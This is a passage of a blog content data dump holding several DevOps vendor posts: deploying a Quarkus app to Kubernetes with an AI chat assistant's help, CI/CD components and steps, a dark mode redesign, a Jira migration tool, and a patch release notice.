labels:\n              app: quarkus-app\n          spec:\n            containers:\n            - name: quarkus-app\n              image: ${CONTAINER_IMAGE}\n              ports:\n              - containerPort: 8080\n      ---\n      apiVersion: v1\n      kind: Service\n      metadata:\n        name: quarkus-app\n      spec:\n        selector:\n          app: quarkus-app\n        ports:\n        - port: 80\n          targetPort: 8080\n      ---\n      apiVersion: networking.k8s.io/v1\n      kind: Ingress\n      metadata:\n        name: quarkus-app\n      spec:\n        rules:\n        - host: ${KUBE_INGRESS_BASE_DOMAIN}\n          http:\n            paths:\n            - path: /hello\n              pathType: Prefix\n              backend:\n                service:\n                  name: quarkus-app\n                  port: \n                    number: 80\n      EOF\n    - echo \"Application deployed to https://${KUBE_INGRESS_BASE_DOMAIN}/hello\"\n  # This job runs only on the main branch\n  only:\n      - main\n```\n\n2. There were some things we needed to adjust in the sample `.gitlab-ci.yml` file above before we could commit it to our `main` branch. These are the updates we made to the file:\n\n- We deleted all occurrences of `only: -main` because we wanted to keep of pipeline definition file simple and with no branch-related rules.\n- We fixed the name of the file `Dockerfile.native-micro` to `Dockerfile.native`.\n\n3. At this point, we wanted to ensure that the deployment would be to the `production` environment so we asked Chat the following prompt:\n\n**_What is the syntax to specify an environment with its url in a pipeline?_**\n\n![how-to-add-env-prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675940/Blog/Content%20Images/how-to-add-env-prompt.png)\n\nThe response from Chat included an example of how to do this so we used this information to add the following environment block to our pipeline:\n\n```\n  environment:\n       name: production\n       url: http://${KUBE_INGRESS_BASE_DOMAIN}/hello\n```\n\n4. The example provided by Chat includes a URL that started with `https` and we modified that to `http` since we didn’t really need a secure connection for this simple application.\n\n5. Lastly, we noticed that in the `build` job, there was a script `mvnw` that we didn’t have in our project. So, we asked Chat the following:\n\n**_How can I get the mvnw script for Quarkus?_**\n\n![how-to-add-mvnw-prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675940/Blog/Content%20Images/how-to-add-mvnw-prompt.png)\n\nChat responded with the command to execute to bootstrap and create this script. We executed this command from a Terminal window:\n\n```\nmvn wrapper:wrapper\n```\n\nWe were now ready to commit all of our changes to the `main` branch and have the pipeline executed. However, on our first attempt, our first pipeline failed at the build job.\n\n## Troubleshooting using GitLab Duo Root Cause Analysis\n\nOur first attempt at running our brand-new pipeline failed. So, we took advantage of [GitLab Duo Root Cause Analysis](https://about.gitlab.com/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd/), which looks at the job logs and provides a thorough natural language explanation (with examples) of the root cause of the problem and, most importantly, how to fix it.\n\n![build-job-troubleshooting](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675940/Blog/Content%20Images/build-job-troubleshooting.png)\n\nRoot Cause Analysis recommended we look at the compatibility of the command that was trying to be executed with the image of mandrel used in the build job. We were not using any command with the image so we concluded that it must have been the predefined `entrypoint` for the image itself. We needed to override this so we asked Chat the following:\n\n**_How do I override the entrypoint of an image using gitlab keywords?_**\n\n![how-to-override-entrypoint-prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675940/Blog/Content%20Images/how-to-override-entrypoint-prompt.png)\n\nChat replied with some use case examples of overriding an image entry point. We used that information to update the build job image definition:\n\n```\nbuild:\n    stage: build\n    image: quay.io/quarkus/ubi-quarkus-mandrel-builder-image:22.3-java17\n    entrypoint:\n        - “”\n```\n\nWe committed our changes to the `main` branch, which launched a new instance of the pipeline. This time the build job executed successfully but the pipeline failed at the `containerize` job.\n\n## Running a successful pipeline\n\nBefore drilling down into the log of the failed `containerize` job, we decided to drill into the log of the successfully completed build job first. Everything looked good in the log of the build job with the exception of this warning message at the very end of it:\n\n```\nWARNING: src/main/docker/Dockerfile.native: no matching files. Ensure that the artifact path is relative to the working directory …\n``` \n\nWe took notice of this warning and then headed to the log of the failed `containerize` job. In it, we saw that the `docker build` command had failed due to a non-existent Dockerfile. We ran Root Cause Analysis on the job and among its suggested fixes was for us to verify that the project structure matched the path of the specified `Dockerfile.native` file.\n\n![containerize-job-troubleshooting](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675940/Blog/Content%20Images/containerize-job-troubleshooting.png)\n\nThis information confirmed our suspicion of the misplaced `Dockerfile.native` file. Instead of being at the directory `src/main/docker` as specified in the pipeline, it was located at the root directory of the project.\n\nSo, we went back to our project and updated every occurrence of the location of this file in our `.gitlab-ci.yml` file. We modified the two locations where this happened, one in the `build` job and one in the `containerize` job, as follows:\n\n```\nsrc/main/docker/Dockerfile.native\n```\n\nto\n\n```\nDockerfile.native\n```\n\nWe committed our updates to the `main` branch and this time our entire pipeline executed successfully!\n\n![pipeline-successful-run](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675940/Blog/Content%20Images/pipeline-successful-run.png)\n\nOur last step was to check the running application in the `production` environment in our Kubernetes cluster.\n\n## Accessing the deployed application running in cluster\n\nOnce the pipeline ran successfully to completion, we drilled in the log file for the `deploy` job. Remember, this job printed the URL of the application at the end of its execution. We scrolled down to the bottom of the log and clicked on the `https` application link, which opened a browser window warning us that the connection was not private (we disabled `https` for the environment URL but forgot it for this string). We proceeded past the browser warning and then the string \"Hello World\" was displaced in the browser window indicating that the application was up and running in the Kubernetes cluster.\n\nFinally, to double-check our production deployment URL, we headed to the project **Operate > Environments** window, and clicked on the \"Open\" button for it, which immediately opened a browser window with the \"Hello World\" message.\n\n![app-running-on-k8s](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675940/Blog/Content%20Images/app-running-on-k8s.png)\n\n## Try it \n\nWe created, compiled, built, and deployed a simple Quarkus application to a Kubernetes cluster using [GitLab Duo](https://about.gitlab.com/gitlab-duo/). This approach allowed us to be more efficient and productive in all the tasks that we performed and it helped us streamline our DevSecOps processes. We have shown only a small portion of how GitLab Duo's AI-powered capabilities can help you, namely Chat and Root Cause Analysis. There’s so much more you can leverage in GitLab Duo to help you create better software faster and more securely.\n\nWatch this whole use case in action:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/xDpycxz3RPY?si=HHZrFt1O_8XoLATf\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nAll the project assets we used are available [here](https://gitlab.com/gitlab-da/use-cases/ai/ai-applications/quarkusn/quarkus-native).\n\n> [Try GitLab Duo for free for 60 days](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/?type=free-trial&toggle=gitlab-duo-pro) and get started on exciting projects like this.",[790,696,943,4144,754,695,110],"demo",{"slug":4146,"featured":92,"template":678},"use-gitlab-duo-to-build-and-deploy-a-simple-quarkus-native-project","content:en-us:blog:use-gitlab-duo-to-build-and-deploy-a-simple-quarkus-native-project.yml","Use Gitlab Duo To Build And Deploy A Simple Quarkus Native Project","en-us/blog/use-gitlab-duo-to-build-and-deploy-a-simple-quarkus-native-project.yml","en-us/blog/use-gitlab-duo-to-build-and-deploy-a-simple-quarkus-native-project",{"_path":4152,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4153,"content":4159,"config":4164,"_id":4166,"_type":16,"title":4167,"_source":17,"_file":4168,"_stem":4169,"_extension":20},"/en-us/blog/how-to-include-file-references-in-your-ci-cd-components",{"title":4154,"description":4155,"ogTitle":4154,"ogDescription":4155,"noIndex":6,"ogImage":4156,"ogUrl":4157,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4157,"schema":4158},"How to include file references in your CI/CD components","Learn how to include scripts and dependencies in your CI/CD components to minimize duplications and simplify maintenance. This tutorial takes you step-by-step through the process.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664595/Blog/Hero%20Images/blog-image-template-1800x945__9_.png","https://about.gitlab.com/blog/how-to-include-file-references-in-your-ci-cd-components","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to include file references in your CI/CD components\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2024-10-16\",\n      }",{"title":4154,"description":4155,"authors":4160,"heroImage":4156,"date":4161,"body":4162,"category":695,"tags":4163},[691],"2024-10-16","I’m frequently asked whether included CI/CD components can reference additional files stored outside of the pipeline repository. While including components in your configuration is straightforward since they’re just YAML, many users want to know if those included components can access and execute additional files referenced by the components, like shell scripts or other dependencies. \n\nThis challenge has been a common topic of discussion in threads across the [GitLab Forum](https://forum.gitlab.com/t/gitlab-ci-includes-a-file-from-another-project-that-executes-a-script-file/111698) and [Reddit](https://www.reddit.com/r/gitlab/comments/18ma13x/gitlab_components_question/).\n\nNow for the good news: CI/CD components not only allow you to reuse pipeline configurations, saving time and effort, but you can also go a step further. With the new [CI/CD Steps](https://about.gitlab.com/blog/introducing-ci-cd-steps-a-programming-language-for-devsecops-automation/), you can directly reuse centralized automation scripts and dependencies in your pipelines. You'll gain even greater flexibility, making your pipelines more powerful and adaptable than ever.\n\nBy storing your scripts in a central location and wrapping them in CI/CD Steps, you can easily call these steps from your CI/CD components. This eliminates the need to duplicate scripts across multiple repositories and CI/CD configurations, streamlining your workflow and reducing redundancy.\n\nBefore we dive into the step-by-step guide, let’s briefly explore what CI/CD components and CI/CD Steps are.\n\n## What are CI/CD components?\n\n[CI/CD components](https://docs.gitlab.com/ee/ci/components/) are reusable units of pipeline configurations that get included in a pipeline when it’s created. The components bring additional jobs into the pipeline, however they can’t bring additional files as such reusable scripts. \n\n## What are CI/CD Steps?\n\n[CI/CD Steps](https://docs.gitlab.com/ee/ci/steps/) are reusable units of a job. Each step defines structured inputs and outputs that can be consumed by other steps. Steps can come from local files, GitLab.com repositories, or any other Git source. Steps offer a structured alternative to shell scripts for running jobs. They are modular, can be composed, tested, and easily reused, providing greater flexibility and maintainability.\n\n## What are the differences between CI/CD Steps and CI/CD components?\n\n- Component and step definitions look very similar but they take effect at different phases in pipeline execution. \n\n- Components are used when a pipeline is created while steps are used when individual jobs are running. \n\n- When a step is running, the whole repository is being downloaded into the job environment along with extra files. \n\n## A step-by-step guide\n\nHere is how CI/CD Steps and Components work together to access additional files.\n\n![CI/CD Steps flow diagram](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675829/Blog/Content%20Images/steps-diagram-for-blog.png)\n\nThis diagram illustrates the process flow: Jobs defined within components are imported into the pipeline configuration (`.gitlab-ci.yml`) when the pipeline is created. During the pipeline's execution, a job’s steps are executed, and the entire Git repository is downloaded to the [Step runner](https://docs.gitlab.com/ee/ci/steps/#using-steps) within the job’s context. This ensures that references to dependencies function correctly.\n\n**1\\. Define a component with `run` keyword that runs CI/CD Steps**\n\nRun is a new keyword that supports running steps, see the example code below. You can use [this guide](https://about.gitlab.com/blog/introducing-the-gitlab-ci-cd-catalog-beta/) to learn more on how to create Components. \n\n![template-yml](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675829/Blog/Content%20Images/Screenshot_2024-10-13_at_8.22.00.png)\n\n**2\\. Create a `step.yml` file in the project where your scripts and dependencies are located.**\n\nIn this code example, format.sh exists in the same directory as the `step.yml`. \n\n![step.yml](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675829/Blog/Content%20Images/Screenshot_2024-10-13_at_8.23.52.png)\n\n While the job is running, the Step runner will download the entire Git repository where the step is defined. The `${{ step_dir }}` step expression references the directory of the locally cached step files, allowing you to access other files from the repository. In the example above, the “format” step invokes the format.sh script.\n\n**3\\. Make sure that any files accessed by the step are located in the same repository as the `step.yml` file.**\n\n**4\\. Include the component in your CI/CD configuration.**\n\nSee this example code:\n\n![.gitlab-ci.yml](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675829/Blog/Content%20Images/Screenshot_2024-10-13_at_8.26.22.png)\n\nCode example: You can find the entire code demonstrated in this blog in this [GitLab Group](https://gitlab.com/gitlab-da/use-cases/ci-steps). \n\n**Important note:** The CI/CD Steps feature is currently [Experimental](https://docs.gitlab.com/ee/policy/experiment-beta-support.html#experiment), and the syntax may change as we continue to iterate and refine it based on user feedback. Any feedback should be provided via [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/493694).\n\n## Learn more\n\n- Watch [this walkthrough](https://youtu.be/qxTbeYXEQLM) by [Joe Burnett](https://about.gitlab.com/company/team/#josephburnett), principal engineer at GitLab, as he demonstrates the example discussed in the blog post.\n\n- [Introducing CI/CD Steps](https://about.gitlab.com/blog/introducing-ci-cd-steps-a-programming-language-for-devsecops-automation/)\n\n- [Introducing CI/CD components](https://about.gitlab.com/blog/introducing-ci-components/)",[110,4103,754,695],{"slug":4165,"featured":6,"template":678},"how-to-include-file-references-in-your-ci-cd-components","content:en-us:blog:how-to-include-file-references-in-your-ci-cd-components.yml","How To Include File References In Your Ci Cd Components","en-us/blog/how-to-include-file-references-in-your-ci-cd-components.yml","en-us/blog/how-to-include-file-references-in-your-ci-cd-components",{"_path":4171,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4172,"content":4178,"config":4186,"_id":4188,"_type":16,"title":4189,"_source":17,"_file":4190,"_stem":4191,"_extension":20},"/en-us/blog/gitlab-dark-mode-is-getting-a-new-look",{"title":4173,"description":4174,"ogTitle":4173,"ogDescription":4174,"noIndex":6,"ogImage":4175,"ogUrl":4176,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4176,"schema":4177},"GitLab dark mode is getting a new look","GitLab is enhancing dark mode for a cleaner, more polished experience, with incremental updates to improve usability and visual consistency. Get a sneak peek at this new design.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098523/Blog/Hero%20Images/Blog/Hero%20Images/hero%20%282%29_7nhIrZ08jWcLxhaH9rfbk1_1750098523498.png","https://about.gitlab.com/blog/gitlab-dark-mode-is-getting-a-new-look","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab dark mode is getting a new look\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sascha Eggenberger\"},{\"@type\":\"Person\",\"name\":\"Chris Micek\"},{\"@type\":\"Person\",\"name\":\"Jeremy Elder\"}],\n        \"datePublished\": \"2024-10-15\",\n      }",{"title":4173,"description":4174,"authors":4179,"heroImage":4175,"date":4183,"body":4184,"category":695,"tags":4185},[4180,4181,4182],"Sascha Eggenberger","Chris Micek","Jeremy Elder","2024-10-15","Dark mode has become an essential feature, providing a darker background with lighter content to reduce eye strain, enhance readability, and maintain continuity with system-wide settings. While we currently offer an experimental version of dark mode in GitLab, customers requested some improvements. We’ve taken that feedback seriously and now we’re excited to share our vision for the future of dark mode on the DevSecOps platform, and how we plan to roll this out over the next several months.\n\n## Challenges with the current dark mode\n\nGitLab’s dark mode, launched in 2020, has remained in an alpha state, largely due to its initial approach of algorithmically inverting colors. While this method allowed us to quickly offer a basic dark background with lighter text, there are several issues that require taking a different approach.\n\nThe current dark mode suffers from inconsistent visual hierarchy — some elements, like alerts, stand out too much, while others fade into the background. An overuse of color also makes certain elements, such as alerts and badges, overly saturated, distracting from key content. Additionally, some elements emit too much light, causing visual strain for those using GitLab for long periods of time.\n\nDue to these issues and the complexity of implementing fixes, our experimental dark mode has remained below our standard of quality, with many one-off adjustments adding unnecessary complexity. We know there’s room for improvement, and that’s why we’re committed to enhancing this experience in a way that feels seamless, comfortable, and visually appealing.\n\n## Principles guiding the new direction\n\nTo create a more cohesive dark mode, we’ve developed several design principles that will guide the new iterations. Similar to our work on a [Dark UI for GitLab’s Web IDE](https://about.gitlab.com/blog/creating-a-dark-ui-for-gitlabs-web-ide/), these principles and ideas helped us focus on ensuring the experience is not only aesthetically pleasing but also functional and accessible.\n\nTo see how these principles are applied in practice with examples watch this [walkthrough by Jeremy Elder](https://www.youtube.com/watch?v=QdiV6lRSFpE), a staff product designer working on dark mode.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://www.youtube.com/embed/QdiV6lRSFpE?si=kFssresabK0JJrug\" title=\"GitLab Dark Mode\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### 1. Forward elements are lighter, receding ones are darker\n\nThis mimics natural light behavior: brighter elements come forward, while darker ones recede. In dark mode, brighter elements create depth, ensuring important content stands out without relying heavily on borders or shadows.\n\n![Using surfaces to make important components stand out more.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098534/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098533970.png)\n\u003Ccenter>\u003Ci>Using surfaces to make important components stand out more.\u003C/i>\u003C/center>\n\u003Cbr>\n\n![Applying the new design principles can create a visually better structured and more meaningful UI.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098534/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098533970.png)\n\n\u003Ccenter>\u003Ci>Applying the new design principles can create a visually better structured and more meaningful UI.\u003C/i>\u003C/center>\n\n### 2. Reduced color saturation\nIn a dark UI, color naturally stands out more, so we’re reducing the amount of color used. Instead of flooding backgrounds with color, we’re using color more selectively to draw attention where it’s needed.\n\n![Alerts are quieter than before.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098534/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098533971.png)\n\n\u003Ccenter>\u003Ci>Alerts are quieter than before.\u003C/i>\u003C/center>\n\n### 3. Dimmed, not inverted\n\nWe’re approaching dark mode as “dimming the lights” rather than fully inverting the interface. This means we’re making careful decisions about which elements to darken and which to brighten, so the content remains clear while the background recedes appropriately.\n\n![Dark mode subtly dims the background while keeping key content clear and visible instead of inverting colors.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098534/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098533971.png)\n\n\u003Ccenter>\u003Ci>Dark mode subtly dims the background while keeping key content clear and visible instead of inverting colors.\u003C/i>\u003C/center>\n\n## Iterative implementation\n\nThe new GitLab dark mode won’t be rolled out all at once. Instead, we’re taking an iterative approach, releasing updates incrementally. This process will begin with elements of the Pajamas Design System and gradually expand across the rest of the product. If you’re using the current dark mode, you’ll start to notice subtle changes to colors, contrast, typography, and component styling, all working towards our vision of a more polished, cohesive dark mode. \n\n> Follow our [progress in the dark mode epic](https://gitlab.com/groups/gitlab-org/-/epics/2902) as we continue working towards this vision.\n\n## Read more\n-  [Get to know the new GitLab typefaces](https://about.gitlab.com/blog/new-typefaces-in-gitlab/)\n- [Beautifying our UI: Giving GitLab build features a fresh look](https://about.gitlab.com/blog/beautifying-of-our-ui/)\n- [How visualization improves the GitLab merge train experience](https://about.gitlab.com/blog/how-visualization-improves-the-gitlab-merge-train-experience/)\n",[2248,2249,695,479],{"slug":4187,"featured":92,"template":678},"gitlab-dark-mode-is-getting-a-new-look","content:en-us:blog:gitlab-dark-mode-is-getting-a-new-look.yml","Gitlab Dark Mode Is Getting A New Look","en-us/blog/gitlab-dark-mode-is-getting-a-new-look.yml","en-us/blog/gitlab-dark-mode-is-getting-a-new-look",{"_path":4193,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4194,"content":4199,"config":4205,"_id":4207,"_type":16,"title":4208,"_source":17,"_file":4209,"_stem":4210,"_extension":20},"/en-us/blog/seamlessly-migrate-from-jira-to-gitlab-with-jira2lab-at-scale",{"title":4195,"description":4196,"ogTitle":4195,"ogDescription":4196,"noIndex":6,"ogImage":2559,"ogUrl":4197,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4197,"schema":4198},"Seamlessly migrate from Jira to GitLab with Jira2Lab at scale","Discover how Jira2GitLab simplifies large-scale Jira-to-GitLab migrations by handling complex data transfers, improving scalability, and ensuring efficient integration.","https://about.gitlab.com/blog/seamlessly-migrate-from-jira-to-gitlab-with-jira2lab-at-scale","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Seamlessly migrate from Jira to GitLab with Jira2Lab at scale\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Maximilien Belinga\"}],\n        \"datePublished\": \"2024-10-10\",\n      }",{"title":4195,"description":4196,"authors":4200,"heroImage":2559,"date":4202,"body":4203,"category":1897,"tags":4204},[4201],"Maximilien Belinga","2024-10-10","[Atlassian Server reached end of life in February](https://about.gitlab.com/move-to-gitlab-from-atlassian/), prompting many customers to explore alternatives like Atlassian Cloud or Data Center. However, enterprises using Atlassian Server are increasingly seeking Agile planning solutions that offer more flexibility, cost-efficiency, and robust DevSecOps integration. They also need to tackle challenges related to data volume, customization, user mapping, performance, and data integrity during migration. This is where [GitLab’s Jira2Lab](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/jira2lab) comes into play, offering a seamless solution for large-scale Jira migrations to GitLab, while providing full CI/CD integration.\n\n## The problem with large-scale Jira migrations\n\nMigrating from Jira to GitLab can be a significant hurdle, especially for enterprises with complex workflows and thousands of issues to move. Here are the most common challenges faced during such migrations:\n\n- **Massive data migration:** As the number of issues, attachments, comments, and projects increases, so does the complexity of migrating them without performance issues or data loss.\n\n- **Custom fields and workflows:** Jira instances often contain custom workflows, fields, and issue types that do not have a one-to-one mapping in GitLab. This gap creates friction during migration, as existing tools often require manual intervention to translate these elements.\n\n- **Lack of full DevSecOps integration:** While many migration tools handle project management data, they do not integrate GitLab’s full DevSecOps capabilities. As a result, teams are left to manually configure their [CI/CD](https://about.gitlab.com/topics/ci-cd/) pipelines and source control management systems after the migration.\n\n## Introducing Jira2Lab\n\nJira2Lab was designed from the ground up to solve the specific challenges of migrating from Jira to GitLab at scale. It’s not just about moving data; it’s about enabling teams to seamlessly transition into GitLab’s powerful DevSecOps environment without downtime or data loss.\n\n### Key features of Jira2Lab\n\n1. Efficient data handling at scale\u003Cbr> \nJira2Lab is optimized to handle thousands of issues, attachments, comments, and custom fields across multiple projects without sacrificing performance. It scales effortlessly to accommodate even the largest enterprise migrations.\n\n2. Custom workflow and field mapping\u003Cbr>\nOne of the standout features of Jira2Lab is its ability to automatically map custom workflows and fields from Jira to GitLab. The tool provides a flexible mapping configuration that eliminates the need for manual intervention during the migration process, making sure everything moves smoothly from Jira to GitLab.\n\n3. CI/CD pipeline integration\u003Cbr>\nJira2Lab doesn’t just migrate your issues and projects — it integrates GitLab’s full CI/CD pipeline into the migration process. This ensures that development teams can start using GitLab’s DevSecOps features, such as automated testing and deployment pipelines, immediately after migration.\n\n4. Pilot migrations\u003Cbr>\nOur tool supports pilot migrations to allow teams to test their configurations and workflows before scaling up. This ensures that any issues can be caught early, preventing disruptions during the full migration.\n\n5. Real-time monitoring\u003Cbr>\nThe tool provides real-time monitoring and logs during migration, giving complete transparency to ensure every step is performed correctly and without errors.\n\n6. Customizable and flexible\u003Cbr>\nEven if your Jira instance has unique configurations or workflows, Jira2Lab offers the flexibility to customize the migration according to your specific requirements, ensuring nothing is lost in translation.\n\n### Feature comparison: Jira vs. GitLab\n\nMigrating from Jira to GitLab helps consolidate workflows and unlock advanced features native to GitLab. Here’s a quick comparison of the core features of both platforms:\n\n| **Feature**             | **Jira**                        | **GitLab**                    |\n|-------------------------|----------------------------------|-------------------------------|\n| **Issue Tracking**       | Yes (Highly customizable)       | Yes (Integrated with DevSecOps)   |\n| **Agile Boards**         | Yes (Kanban, Scrum)             | Yes (Issue Boards, Milestones) |\n| **CI/CD**                | No (Requires external tools)    | Yes (Built-in CI/CD)           |\n| **Source Control**       | No (Requires GitHub/Bitbucket)  | Yes (Native Git support)       |\n| **DevSecOps Tools**         | Limited integrations            | Full DevSecOps lifecycle          |\n\nWith Jira2Lab, we ensure that all critical aspects, from issue tracking to CI/CD pipelines, are transitioned smoothly, taking full advantage of GitLab’s integrated approach to development and operations.\n\n## The migration methodology\n\nJira2Lab follows a structured, five-phase migration methodology, ensuring seamless transition with minimal disruption:\n\n### 1. Discovery and planning\n\nWe start by thoroughly understanding the customer’s Jira setup, identifying all necessary custom workflows, fields, and projects that need to be migrated. This phase also involves a gap analysis to compare Jira and GitLab features and map out the migration process.\n\n### 2. Setup\nIn this phase, we configure the migration tool and set up the necessary environments for both Jira and GitLab. This includes verifying all permissions and setting up a backup of Jira data before the migration begins.\n\n### 3. Pilot migrations\nBefore migrating the entire dataset, we run pilot migrations on selected projects to test the migration process, workflows, and data integrity. This allows us to identify and resolve any issues early in the process.\n\n### 4. Scaled migrations\nAfter validating the pilot migration, we scale the migration across all projects, ensuring minimal downtime and smooth transitions for development teams.\n\n### 5. Wrap-up and post-migration support\nOnce the migration is complete, we provide ongoing support, ensuring all teams are fully operational in GitLab. This phase also includes user training and the decommissioning of the Jira instance, if required.\n\n## Case study: Tackling scale with Jira2Lab\n\nIn a recent migration, a large enterprise faced the challenge of migrating over 20,000 issues across 50 projects from Jira to GitLab. The project had highly customized workflows and thousands of comments and attachments that needed to be transferred.\n\nWith Jira2Lab, we were able to:\n\n- Migrate all data, including custom fields, without any data loss.\n- Set up CI/CD pipelines within GitLab so that teams could immediately continue their work post-migration.\n- Conduct a pilot migration of two projects, which allowed us to identify and fix minor workflow discrepancies before scaling up to the entire organization.\n\nThe result was a seamless transition to GitLab, with the entire process completed within the planned timeline and no significant downtime.\n\n## Get started with Jira2Lab today\n\nJira2Lab stands out in the market by addressing the limitations that other migration tools cannot handle. It is designed specifically for large-scale migrations and can integrate with GitLab’s full DevSecOps lifecycle, unlike most tools that only handle project management data. The tool’s ability to map custom workflows and integrate CI/CD pipelines makes it the perfect solution for enterprises looking to enhance their development workflows while migrating to GitLab.\n\n> Ready to scale your development processes with GitLab? Explore our [Professional Services catalog](https://about.gitlab.com/services/catalog/) to learn how we can help your team migrate efficiently and effectively. Contact us through the form at the end for a personalized demo of GitLab's Jira2Lab.\n",[1899,110,943,754,695],{"slug":4206,"featured":92,"template":678},"seamlessly-migrate-from-jira-to-gitlab-with-jira2lab-at-scale","content:en-us:blog:seamlessly-migrate-from-jira-to-gitlab-with-jira2lab-at-scale.yml","Seamlessly Migrate From Jira To Gitlab With Jira2lab At Scale","en-us/blog/seamlessly-migrate-from-jira-to-gitlab-with-jira2lab-at-scale.yml","en-us/blog/seamlessly-migrate-from-jira-to-gitlab-with-jira2lab-at-scale",{"_path":4212,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4213,"content":4219,"config":4225,"_id":4228,"_type":16,"title":4229,"_source":17,"_file":4230,"_stem":4231,"_extension":20},"/en-us/blog/gitlab-critical-patch-release-17-4-2-17-3-5-17-2-9",{"title":4214,"description":4215,"ogTitle":4214,"ogDescription":4215,"config":4216,"ogImage":3431,"ogUrl":4217,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4217,"schema":4218},"GitLab Critical Patch Release: 17.4.2, 17.3.5, 17.2.9","Learn more about this critical patch release.",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-critical-patch-release-17-4-2-17-3-5-17-2-9","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Critical Patch Release: 17.4.2, 17.3.5, 17.2.9\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nikhil George\"}],\n        \"datePublished\": \"2024-10-09\",\n      }",{"title":4214,"description":4215,"authors":4220,"heroImage":3431,"date":4222,"body":4223,"category":674,"tags":4224},[4221],"Nikhil George","2024-10-09","This is the blog post for [GitLab Critical Patch Release: 17.4.2, 17.3.5, 17.2.9](https://about.gitlab.com/releases/2024/10/09/patch-release-gitlab-17-4-2-released/).",[774,674],{"slug":4226,"featured":6,"template":678,"externalUrl":4227},"gitlab-critical-patch-release-17-4-2-17-3-5-17-2-9","https://about.gitlab.com/releases/2024/10/09/patch-release-gitlab-17-4-2-released/","content:en-us:blog:gitlab-critical-patch-release-17-4-2-17-3-5-17-2-9.yml","Gitlab Critical Patch Release 17 4 2 17 3 5 17 2 9","en-us/blog/gitlab-critical-patch-release-17-4-2-17-3-5-17-2-9.yml","en-us/blog/gitlab-critical-patch-release-17-4-2-17-3-5-17-2-9",{"_path":4233,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4234,"content":4240,"config":4246,"_id":4248,"_type":16,"title":4249,"_source":17,"_file":4250,"_stem":4251,"_extension":20},"/en-us/blog/tutorial-integrate-gitlab-merge-request-approvals-with-external-systems",{"title":4235,"description":4236,"ogTitle":4235,"ogDescription":4236,"noIndex":6,"ogImage":4237,"ogUrl":4238,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4238,"schema":4239},"Tutorial: Integrate GitLab Merge Request approvals with external systems","Learn how to improve GitLab extensibility and integration with external applications in this demo. The result: a seamless integration that provides more control over merge requests.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749676011/Blog/Hero%20Images/blog-image-template-1800x945.svg","https://about.gitlab.com/blog/tutorial-integrate-gitlab-merge-request-approvals-with-external-systems","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial: Integrate GitLab Merge Request approvals with external systems\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Samer Akkoub\"}],\n        \"datePublished\": \"2024-10-08\",\n      }",{"title":4235,"description":4236,"authors":4241,"heroImage":4237,"date":4243,"body":4244,"category":695,"tags":4245},[4242],"Samer Akkoub","2024-10-08","GitLab customers often ask how to connect merge requests to external applications, such as ServiceNow or custom-built applications, to control approvals for the merging of code into a target branch from these external systems. To address this need, GitLab offers [External Status Check](https://docs.gitlab.com/ee/user/project/merge_requests/status_checks.html), a powerful feature that allows the sending of API calls to external systems to request the status of an external requirement, providing seamless integration and control over your merge requests.\n\nIn this article, I'll demonstrate this feature by explaining how to deploy an application I developed. The application is designed to receive status check requests from GitLab Merge Requests, list them, and enable external users to approve/reject these requests without logging in to the GitLab console. As a result, GitLab platform architects will better understand GitLab extensibility and integration with external systems.\n\nThe provided 